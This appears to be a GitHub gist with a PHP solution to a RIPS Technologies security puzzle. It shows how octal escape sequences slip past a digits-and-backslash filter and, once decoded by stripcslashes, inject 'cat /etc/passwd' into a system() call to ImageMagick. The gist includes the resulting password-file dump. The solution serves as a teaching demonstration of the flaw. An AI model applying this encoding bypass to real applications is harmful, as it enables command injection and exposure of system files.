Last active
May 10, 2019 19:51
-
-
Save pich4ya/e694735eafff73d84357ecf1703e70bf to your computer and use it in GitHub Desktop.
Solution for RIPS Technologies Challenge @ https://www.facebook.com/ripstech/photos/a.332349150429712/917883391876282/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// @author Pichaya Morimoto (Siam Thanat Hack Company Limited) | |
$file='image.png'; | |
$_GET['size']='\\473\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\473'; | |
$e = stripcslashes( | |
preg_replace('/[^0-9\\\]/', | |
'', | |
isset($_GET['size'])?$_GET['size'] : '25') | |
); | |
echo system("convert $file --resize $e ./thumbs/$file"); | |
/* Output: | |
root@41de31c82bad:/# cat longcat_rips.php | |
<?php | |
$file='image.png'; | |
$_GET['size']='\\473\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\473'; | |
$e = stripcslashes( | |
preg_replace('/[^0-9\\\]/', | |
'', | |
isset($_GET['size'])?$_GET['size'] : '25') | |
); | |
echo system("convert $file --resize $e ./thumbs/$file"); | |
?> | |
root@41de31c82bad:/# touch image.png | |
root@41de31c82bad:/# php longcat_rips.php | |
convert-im6.q16: improper image header `image.png' @ error/png.c/ReadPNGImage/4092. | |
convert-im6.q16: no images defined `--resize' @ error/convert.c/ConvertImageCommand/3258. | |
root:x:0:0:root:/root:/bin/bash | |
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | |
bin:x:2:2:bin:/bin:/usr/sbin/nologin | |
sys:x:3:3:sys:/dev:/usr/sbin/nologin | |
sync:x:4:65534:sync:/bin:/bin/sync | |
games:x:5:60:games:/usr/games:/usr/sbin/nologin | |
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | |
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | |
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | |
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | |
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | |
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | |
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | |
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | |
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | |
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin | |
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin | |
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | |
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin | |
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin | |
_apt:x:102:65534::/nonexistent:/usr/sbin/nologin | |
systemd-timesync:x:103:107:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin | |
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin | |
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash | |
gluster:x:106:114::/var/lib/glusterd:/usr/sbin/nologin | |
Debian-exim:x:107:116::/var/spool/exim4:/usr/sbin/nologin | |
_rpc:x:108:65534::/run/rpcbind:/usr/sbin/nologin | |
statd:x:109:65534::/var/lib/nfs:/usr/sbin/nologin | |
sh: 1: ./thumbs/image.png: not found | |
root@41de31c82bad:/# | |
*/ | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment